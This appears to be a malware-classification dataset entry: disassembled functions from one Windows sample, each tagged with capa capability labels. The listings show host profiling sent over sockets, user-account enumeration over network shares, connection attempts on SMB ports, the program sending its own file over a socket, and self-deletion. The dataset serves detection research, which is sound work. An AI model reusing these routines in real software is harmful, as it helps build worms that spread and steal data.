joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404f10
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push dword [ebp + 8]
call sub.WS2_32.dll_inet_addr
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x404f49
push dword [ebp + 8]
call sub.WS2_32.dll_gethostbyname
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x404f3c
or eax, 0xffffffff
jmp 0x404f4c
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
leave
ret

Function at 0x404f4e
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Get local ipv4 addresses
Get socket information
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push 0x10
push 0
lea eax, [ebp - 0x10]
push eax
call fcn.00409890
add esp, 0xc
mov word [ebp - 0x10], 2
push 0x403778
call sub.WS2_32.dll_gethostbyname
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jne 0x404f84
xor eax, eax
jmp 0x40500b
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0xc], eax
push 0x50
call sub.WS2_32.dll_htons
mov word [ebp - 0xe], ax
push 0
push 1
push 2
call sub.WS2_32.dll_socket
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0xffffffff
jne 0x404fb4
xor eax, eax
jmp 0x40500b
push 0x10
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0x18]
call sub.WS2_32.dll_connect
test eax, eax
je 0x404fca
xor eax, eax
jmp 0x40500b
mov dword [ebp - 0x14], 0x10
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0x18]
call sub.WS2_32.dll_getsockname
test eax, eax
je 0x404fe9
xor eax, eax
jmp 0x40500b
push dword [ebp - 0x18]
call sub.WS2_32.dll_closesocket
push dword [ebp - 0xc]
call sub.WS2_32.dll_inet_ntoa
push eax
push section..bss
call fcn.004097a0
pop ecx
pop ecx
mov eax, section..bss
leave
ret

Function at 0x40500d
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x404
lea eax, [ebp + 0xc]
mov dword [ebp - 4], eax
push dword [ebp - 4]
push dword [ebp + 8]
lea eax, [ebp - 0x404]
push eax
call fcn.0040996b
add esp, 0xc
and dword [ebp - 4], 0
push 0
lea eax, [ebp - 0x404]
push eax
call fcn.004098f0
pop ecx
push eax
lea eax, [ebp - 0x404]
push eax
push dword [0x40101c]
call sub.WS2_32.dll_send
leave
ret
Function at 0x4051f2
Capabilities:
Create process on windows
Delete file
Delete registry value
Move file
Query environment variable
Self delete
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
call sub.WS2_32.dll_WSACleanup
push 0x403830
push dword [0x401010]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
push 0x104
lea eax, [ebp - 0x208]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x405257
push 0x104
lea eax, [ebp - 0x208]
push eax
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
test eax, eax
je 0x405257
push 4
push 0
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
push 0x104
lea eax, [ebp - 0x208]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x40530c
push 0x104
lea eax, [ebp - 0x208]
push eax
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
test eax, eax
je 0x40530c
push 0x40383c
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x208]
push eax
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x403844
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x104
lea eax, [ebp - 0x208]
push eax
push 0x40384c
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x40530c
push 0
push 0
lea eax, [ebp - 0x104]
push eax
lea eax, [ebp - 0x208]
push eax
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
jle 0x40530c
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x40579a
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.00409bee
pop ecx
and dword [ebp - 8], 0
jmp 0x4057ba
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 5
jge 0x4057d7
call fcn.00409bf8
cdq
push 0x1a
pop ecx
idiv ecx
add edx, 0x61
mov eax, dword [ebp - 8]
mov byte [ebp + eax - 0x28], dl
jmp 0x4057b3
push 3
lea eax, [ebp - 4]
push eax
push 7
push 0x800
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push 0
push 0x403948
call dword [sym.imp.USER32.dll_FindWindowA]
test eax, eax
je 0x405804
mov dword [ebp - 0x2c], 0x403954
jmp 0x40580b
mov dword [ebp - 0x2c], 0x40102c
push 0
push 0x403958
call dword [sym.imp.USER32.dll_FindWindowA]
test eax, eax
je 0x405825
mov dword [ebp - 0x30], 0x40396c
jmp 0x40582c
mov dword [ebp - 0x30], 0x401030
push 0
push 0x403970
call dword [sym.imp.USER32.dll_FindWindowA]
test eax, eax
je 0x405846
mov dword [ebp - 0x34], 0x40398c
jmp 0x40584d
mov dword [ebp - 0x34], 0x401034
push 0
push 0x403990
call dword [sym.imp.USER32.dll_FindWindowA]
test eax, eax
je 0x405867
mov dword [ebp - 0x38], 0x403998
jmp 0x40586e
mov dword [ebp - 0x38], 0x401038
push 0
push 0x40399c
call dword [sym.imp.USER32.dll_FindWindowA]
test eax, eax
je 0x405888
mov dword [ebp - 0x3c], 0x4039ac
jmp 0x40588f
mov dword [ebp - 0x3c], 0x40103c
push 0
push 0x4039b0
call dword [sym.imp.USER32.dll_FindWindowA]
test eax, eax
je 0x4058a9
mov dword [ebp - 0x40], 0x4039bc
jmp 0x4058b0
mov dword [ebp - 0x40], 0x401040
push 0
push 0x4039c0
call dword [sym.imp.USER32.dll_FindWindowA]
test eax, eax
je 0x4058ca
mov dword [ebp - 0x44], 0x4039c8
jmp 0x4058d1
mov dword [ebp - 0x44], 0x401044
push 0
push 0x4039cc
call dword [sym.imp.USER32.dll_FindWindowA]
test eax, eax
je 0x4058eb
mov dword [ebp - 0x48], 0x4039dc
jmp 0x4058f2
mov dword [ebp - 0x48], 0x401048
push 0
push 0x4039e0
call dword [sym.imp.USER32.dll_FindWindowA]
test eax, eax
je 0x40590c
mov dword [ebp - 0x4c], 0x4039f4
jmp 0x405913
mov dword [ebp - 0x4c], 0x40104c
push 0
push 0x4039f8
call dword [sym.imp.USER32.dll_FindWindowA]
test eax, eax
je 0x40592d
mov dword [ebp - 0x50], 0x403a0c
jmp 0x405934
mov dword [ebp - 0x50], 0x401050
push 0
push 0x403a10
call dword [sym.imp.USER32.dll_FindWindowA]
test eax, eax
je 0x40594e
mov dword [ebp - 0x54], 0x403a28
jmp 0x405955
mov dword [ebp - 0x54], 0x401054
call fcn.00405703
movzx eax, al
test eax, eax
je 0x40596a
mov dword [ebp - 0x58], 0x403a2c
jmp 0x405971
mov dword [ebp - 0x58], 0x403a30
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 0x2c]
push dword [ebp - 0x30]
push dword [ebp - 0x34]
push dword [ebp - 0x38]
push dword [ebp - 0x3c]
push dword [ebp - 0x40]
push dword [ebp - 0x44]
push dword [ebp - 0x48]
push dword [ebp - 0x4c]
push dword [ebp - 0x50]
push dword [ebp - 0x54]
push dword [ebp - 0x58]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
mov ecx, 0x5265c00
div ecx
push eax
lea eax, [ebp - 4]
push eax
push 0x403a34
call fcn.0040500d
add esp, 0x40
leave
ret
Function at 0x40695c
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Get socket status
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x328
mov dword [ebp - 0x324], 1
mov word [ebp - 0x10], 2
push dword [ebp + 8]
call sub.WS2_32.dll_inet_addr
mov dword [ebp - 0xc], eax
push dword [ebp + 0xc]
call sub.WS2_32.dll_htons
mov word [ebp - 0xe], ax
push 6
push 1
push 2
call sub.WS2_32.dll_socket
mov dword [ebp - 0x328], eax
cmp dword [ebp - 0x328], 0xffffffff
jne 0x4069ad
xor al, al
jmp 0x406a55
lea eax, [ebp - 0x324]
push eax
push 0x8004667e
push dword [ebp - 0x328]
call sub.WS2_32.dll_ioctlsocket
push 0x10
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0x328]
call sub.WS2_32.dll_connect
mov dword [ebp - 0x320], 3
and dword [ebp - 0x31c], 0
and dword [ebp - 0x114], 0
cmp dword [ebp - 0x114], 0x40
jae 0x406a16
mov eax, dword [ebp - 0x114]
mov ecx, dword [ebp - 0x328]
mov dword [ebp + eax*4 - 0x110], ecx
mov eax, dword [ebp - 0x114]
inc eax
mov dword [ebp - 0x114], eax
xor eax, eax
test eax, eax
jne 0x4069ed
lea eax, [ebp - 0x320]
push eax
push 0
lea eax, [ebp - 0x114]
push eax
push 0
push 0
call sub.WS2_32.dll_select
mov dword [ebp - 0x318], eax
push dword [ebp - 0x328]
call sub.WS2_32.dll_closesocket
cmp dword [ebp - 0x318], 0
jg 0x406a53
xor al, al
jmp 0x406a55
mov al, 1
leave
ret
Function at 0x406c0a
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7a8
push 0x10
push 0
lea eax, [ebp - 0x10]
push eax
call fcn.00409890
add esp, 0xc
mov word [ebp - 0x10], 2
push dword [ebp + 8]
call sub.WS2_32.dll_inet_addr
mov dword [ebp - 0xc], eax
push dword [ebp + 0xc]
call sub.WS2_32.dll_htons
mov word [ebp - 0xe], ax
push 0
push 1
push 2
call sub.WS2_32.dll_socket
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xffffffff
jne 0x406c5b
xor al, al
jmp 0x406d76
push 0x10
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0x14]
call sub.WS2_32.dll_connect
cmp eax, 0xffffffff
jne 0x406c75
xor al, al
jmp 0x406d76
push 0
push 0x400
lea eax, [ebp - 0x618]
push eax
push dword [ebp - 0x14]
call sub.WS2_32.dll_recv
mov dword [ebp - 0x218], eax
push 0x403c4c
push 0x403c5c
push 0x41a
call fcn.00404f4e
push eax
push 0x403c6c
push 0x190
lea eax, [ebp - 0x7a8]
push eax
call fcn.0040a223
add esp, 0x1c
push 0
lea eax, [ebp - 0x7a8]
push eax
call fcn.004098f0
pop ecx
push eax
lea eax, [ebp - 0x7a8]
push eax
push dword [ebp - 0x14]
call sub.WS2_32.dll_send
cmp eax, 0xffffffff
jne 0x406cea
xor al, al
jmp 0x406d76
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x403cd8
push 0x403ce8
push 0x190
lea eax, [ebp - 0x7a8]
push eax
call fcn.0040a223
add esp, 0x10
push 0
lea eax, [ebp - 0x7a8]
push eax
call fcn.004098f0
pop ecx
push eax
lea eax, [ebp - 0x7a8]
push eax
push dword [ebp - 0x14]
call sub.WS2_32.dll_send
cmp eax, 0xffffffff
jne 0x406d3b
xor al, al
jmp 0x406d76
push 0
push 0x400
lea eax, [ebp - 0x618]
push eax
push dword [ebp - 0x14]
call sub.WS2_32.dll_recv
mov dword [ebp - 0x218], eax
push dword [ebp - 0x14]
call sub.WS2_32.dll_closesocket
push dword [ebp + 8]
push 0x403cf0
push 0x403cf4
call fcn.004050e2
add esp, 0xc
mov al, 1
leave
ret
Function at 0x406d78
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x634
push edi
and byte [ebp - 0x608], 0
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x607]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x8f
push 0x403520
lea eax, [ebp - 0x608]
push eax
call fcn.0040a280
add esp, 0xc
push 0x403cfc
push 0x403d0c
push 0x41a
call fcn.00404f4e
push eax
push 0x403d1c
push 0x400
lea eax, [ebp - 0x579]
push eax
call fcn.0040a223
add esp, 0x1c
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
add eax, 0x90
mov dword [ebp - 0x618], eax
and dword [ebp - 0x208], 0
push dword [ebp - 0x618]
lea eax, [ebp - 0x608]
push eax
push 0x164
push 0x4033b8
lea eax, [ebp - 0x634]
push eax
call fcn.0040769d
add esp, 0x14
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0x614], ecx
mov dword [ebp - 0x610], eax
cmp dword [ebp - 0x610], 0
jne 0x406e41
xor al, al
jmp 0x406f8e
and byte [ebp - 0x60c], 0
cmp dword [ebp - 0x208], 2
jge 0x406f5d
movzx eax, byte [ebp - 0x60c]
test eax, eax
jne 0x406f5d
push 6
push 1
push 2
call sub.WS2_32.dll_socket
mov dword [ebp - 0x61c], eax
cmp dword [ebp - 0x61c], 0xffffffff
je 0x406f35
and word [ebp - 0x62c], 0
xor eax, eax
lea edi, [ebp - 0x62a]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
mov word [ebp - 0x62c], 2
push dword [ebp + 0xc]
call sub.WS2_32.dll_htons
mov word [ebp - 0x62a], ax
push dword [ebp + 8]
call sub.WS2_32.dll_inet_addr
mov dword [ebp - 0x628], eax
push 0x10
lea eax, [ebp - 0x62c]
push eax
push dword [ebp - 0x61c]
call sub.WS2_32.dll_connect
cmp eax, 0xffffffff
je 0x406f2a
cmp dword [ebp + 0xc], 0x8b
jne 0x406f01
push dword [ebp - 0x610]
push dword [ebp - 0x614]
push dword [ebp - 0x61c]
call fcn.0040727d
add esp, 0xc
mov byte [ebp - 0x60c], al
jmp 0x406f2a
cmp dword [ebp + 0xc], 0x1bd
jne 0x406f2a
push dword [ebp - 0x610]
push dword [ebp - 0x614]
push dword [ebp - 0x61c]
call fcn.004070a7
add esp, 0xc
mov byte [ebp - 0x60c], al
push dword [ebp - 0x61c]
call sub.WS2_32.dll_closesocket
movzx eax, byte [ebp - 0x60c]
test eax, eax
jne 0x406f4b
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x208]
inc eax
mov dword [ebp - 0x208], eax
jmp 0x406e48
movzx eax, byte [ebp - 0x60c]
test eax, eax
je 0x406f7d
push dword [ebp + 8]
push 0x403d8c
push 0x403d90
call fcn.004050e2
add esp, 0xc
lea ecx, [ebp - 0x614]
call fcn.004073f0
mov al, byte [ebp - 0x60c]
pop edi
leave
ret

Function at 0x40727d
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push 0
push 0x48
push 0x403674
push dword [ebp + 8]
call sub.WS2_32.dll_send
cmp eax, 0x48
je 0x40729d
xor al, al
jmp 0x4072d9
push 0
push 0x20
lea eax, [ebp - 0x20]
push eax
push dword [ebp + 8]
call fcn.00406f91
add esp, 0x10
cmp eax, 0xffffffff
jne 0x4072b9
xor al, al
jmp 0x4072d9
movzx eax, byte [ebp - 0x20]
cmp eax, 0x82
je 0x4072c8
xor al, al
jmp 0x4072d9
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.004070a7
add esp, 0xc
leave
ret
Function at 0x407ab8
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
push edi
movzx eax, byte [ebp + 0x30]
test eax, eax
je 0x407ad2
mov al, byte [ebp + 0xf]
or al, 1
mov byte [ebp + 0xf], al
jmp 0x407ada
mov al, byte [ebp + 0xf]
and al, 0xfe
mov byte [ebp + 0xf], al
mov eax, dword [ebp + 0x28]
add eax, 0x18
cmp eax, dword [ebp + 0x2c]
ja 0x407b03
mov eax, dword [ebp + 0x28]
add eax, 0x18
mov word [ebp + 0x14], ax
mov eax, dword [ebp + 0x28]
mov dword [ebp + 0x1c], eax
mov al, byte [ebp + 0xf]
or al, 2
mov byte [ebp + 0xf], al
and byte [ebp - 0xc], 0
jmp 0x407b20
mov ax, word [ebp + 0x2c]
mov word [ebp + 0x14], ax
mov eax, dword [ebp + 0x2c]
sub eax, 0x18
mov dword [ebp + 0x1c], eax
mov al, byte [ebp + 0xf]
and al, 0xfd
mov byte [ebp + 0xf], al
mov byte [ebp - 0xc], 1
movzx eax, word [ebp + 0x14]
push eax
call fcn.0040a5e4
pop ecx
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x407b3b
xor al, al
jmp 0x407bc3
push 6
pop ecx
lea esi, [ebp + 0xc]
mov edi, dword [ebp - 4]
rep movsd dword es:[edi], dword [esi]
push dword [ebp + 0x1c]
push dword [ebp + 0x24]
mov eax, dword [ebp - 4]
add eax, 0x18
push eax
call fcn.0040a280
add esp, 0xc
push 0
lea eax, [ebp - 8]
push eax
movzx eax, word [ebp + 0x14]
push eax
push dword [ebp - 4]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x407b83
push dword [ebp - 4]
call fcn.0040a5b5
pop ecx
xor al, al
jmp 0x407bc3
push dword [ebp - 4]
call fcn.0040a5b5
pop ecx
movzx eax, byte [ebp - 0xc]
test eax, eax
je 0x407bc1
push 0
push dword [ebp + 0x2c]
mov eax, dword [ebp + 0x28]
sub eax, dword [ebp + 0x1c]
push eax
mov eax, dword [ebp + 0x24]
add eax, dword [ebp + 0x1c]
push eax
sub esp, 0x18
push 6
pop ecx
lea esi, [ebp + 0xc]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
push dword [ebp + 8]
call fcn.00407ab8
add esp, 0x2c
jmp 0x407bc3
mov al, 1
pop edi
pop esi
leave
ret
Function at 0x408958
Capabilities:
Connect network resource
List user accounts

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x63c
and dword [ebp - 0xf8], 0
and dword [ebp - 0x100], 0
and dword [ebp - 0x24], 0
or dword [ebp - 0x104], 0xffffffff
and dword [ebp - 0x108], 0
and dword [ebp - 0x638], 0
and dword [ebp - 0xfc], 0
and dword [ebp - 0xf4], 0
push dword [ebp + 8]
push 0x403e88
lea eax, [ebp - 0x504]
push eax
call fcn.00409ca4
add esp, 0xc
push 0x3e8
lea eax, [ebp - 0x4f0]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x504]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea eax, [ebp - 0x4f0]
mov dword [ebp - 0xf8], eax
and dword [ebp - 0x10], 0
and dword [ebp - 4], 0
and dword [ebp - 0x1c], 0
lea eax, [ebp - 0x504]
push eax
push 0x403e90
lea eax, [ebp - 0xf0]
push eax
call fcn.00409ca4
add esp, 0xc
lea eax, [ebp - 0xf0]
mov dword [ebp - 0xc], eax
push 0
push 0x401088
push 0x40108c
lea eax, [ebp - 0x20]
push eax
call sub.MPR.dll_WNetAddConnection2A
test eax, eax
je 0x408a38
push 1
push 0
lea eax, [ebp - 0xf0]
push eax
call sub.MPR.dll_WNetCancelConnection2A
xor eax, eax
jmp 0x408b9e
lea eax, [ebp - 0xfc]
push eax
lea eax, [ebp - 0x638]
push eax
lea eax, [ebp - 0x108]
push eax
push dword [ebp - 0x104]
lea eax, [ebp - 0x100]
push eax
push 2
push dword [ebp - 0x24]
push dword [ebp - 0xf8]
call sub.NETAPI32.dll_NetUserEnum
mov dword [ebp - 0x508], eax
push 1
push 0
lea eax, [ebp - 0xf0]
push eax
call sub.MPR.dll_WNetCancelConnection2A
cmp dword [ebp - 0x508], 0
je 0x408a99
cmp dword [ebp - 0x508], 0xea
jne 0x408b31
mov eax, dword [ebp - 0x100]
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
je 0x408b31
and dword [ebp - 0x63c], 0
jmp 0x408ac2
mov eax, dword [ebp - 0x63c]
inc eax
mov dword [ebp - 0x63c], eax
mov eax, dword [ebp - 0x63c]
cmp eax, dword [ebp - 0x108]
jae 0x408b31
cmp dword [ebp - 0x28], 0
jne 0x408ad8
jmp 0x408b31
push 0
push 0
push 0x12c
lea eax, [ebp - 0x634]
push eax
push 0xffffffffffffffff
mov eax, dword [ebp - 0x28]
push dword [eax]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push dword [ebp + 8]
lea eax, [ebp - 0x504]
push eax
lea eax, [ebp - 0x634]
push eax
call fcn.00408925
add esp, 0xc
cmp eax, 1
jne 0x408b19
jmp 0x408b31
mov eax, dword [ebp - 0x28]
add eax, 4
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0xf4]
inc eax
mov dword [ebp - 0xf4], eax
jmp 0x408ab5
cmp dword [ebp - 0x100], 0
je 0x408b4c
push dword [ebp - 0x100]
call sub.NETAPI32.dll_NetApiBufferFree
and dword [ebp - 0x100], 0
cmp dword [ebp - 0x508], 0xea
je 0x408a38
cmp dword [ebp - 0x100], 0
je 0x408b70
push dword [ebp - 0x100]
call sub.NETAPI32.dll_NetApiBufferFree
cmp dword [ebp - 0x508], 5
jne 0x408b9b
push dword [ebp + 8]
lea eax, [ebp - 0x504]
push eax
push dword [0x403760]
call fcn.00408925
add esp, 0xc
cmp eax, 1
jne 0x408b9b
push 1
pop eax
jmp 0x408b9e
push 1
pop eax
leave
ret
Function at 0x409306
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a0
lea eax, [ebp - 0x1a0]
push eax
push 0x101
call sub.WS2_32.dll_WSAStartup
push 0
push 1
push 2
call sub.WS2_32.dll_socket
mov dword [0x401018], eax
mov word [ebp - 0x10], 2
push dword [ebp + 8]
call sub.WS2_32.dll_inet_addr
mov dword [ebp - 0xc], eax
push dword [ebp + 0xc]
call sub.WS2_32.dll_htons
mov word [ebp - 0xe], ax
push 0x10
lea eax, [ebp - 0x10]
push eax
push dword [0x401018]
call sub.WS2_32.dll_connect
cmp eax, 0xffffffff
jne 0x409377
push dword [0x401018]
call sub.WS2_32.dll_closesocket
call sub.WS2_32.dll_WSACleanup
xor eax, eax
jmp 0x40937a
push 1
pop eax
leave
ret

Function at 0x40937c
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x508
push 0x104
lea eax, [ebp - 0x108]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x4040e8
lea eax, [ebp - 0x108]
push eax
call fcn.0040acf4
pop ecx
pop ecx
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x4093b9
xor eax, eax
jmp 0x40941e
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
and eax, 0x10
test eax, eax
jne 0x409402
push dword [ebp - 4]
push 1
push 0x400
lea eax, [ebp - 0x508]
push eax
call fcn.0040abec
add esp, 0x10
push 0
push 0x400
lea eax, [ebp - 0x508]
push eax
push dword [0x401018]
call sub.WS2_32.dll_send
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4093b9
push dword [ebp - 4]
call fcn.0040ab96
pop ecx
push dword [0x401018]
call sub.WS2_32.dll_closesocket
call sub.WS2_32.dll_WSACleanup
push 1
pop eax
leave
ret

Function at 0x40a8ff
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x40a91f
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0040cbfa
pop ecx
or eax, 0xffffffff
ret
test al, 1
je 0x40a940
test byte [esp + 8], 2
je 0x40a940
mov dword [0x4010b8], 0xd
mov dword [0x4010bc], 5
jmp 0x40a91b
xor eax, eax
ret
Function at 0x40e759
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x4045c8
cmp edx, dword [eax]
je 0x40e77b
add eax, 8
inc ecx
cmp eax, 0x404658
jl 0x40e76c
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x4045c8]
jne 0x40e8a9
mov eax, dword [0x40109c]
cmp eax, 1
je 0x40e883
test eax, eax
jne 0x40e7ac
cmp dword [0x404154], 1
je 0x40e883
cmp edx, 0xfc
je 0x40e8a9
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x40e7e3
lea eax, [ebp - 0x1a4]
push 0x404df0
push eax
call fcn.004097a0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004098f0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x40e826
lea eax, [ebp - 0x1a4]
push eax
call fcn.004098f0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x404dec
push edi
call fcn.00409af0
add esp, 0x10
lea eax, [ebp - 0xa0]
push 0x404dd0
push eax
call fcn.004097a0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.004097b0
lea eax, [ebp - 0xa0]
push 0x404dcc
push eax
call fcn.004097b0
push dword [esi + 0x4045cc]
lea eax, [ebp - 0xa0]
push eax
call fcn.004097b0
push 0x12010
lea eax, [ebp - 0xa0]
push 0x404da4
push eax
call fcn.0040ff82
add esp, 0x2c
pop edi
jmp 0x40e8a9
lea eax, [ebp + 8]
lea esi, [esi + 0x4045cc]
push 0
push eax
push dword [esi]
call fcn.004098f0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret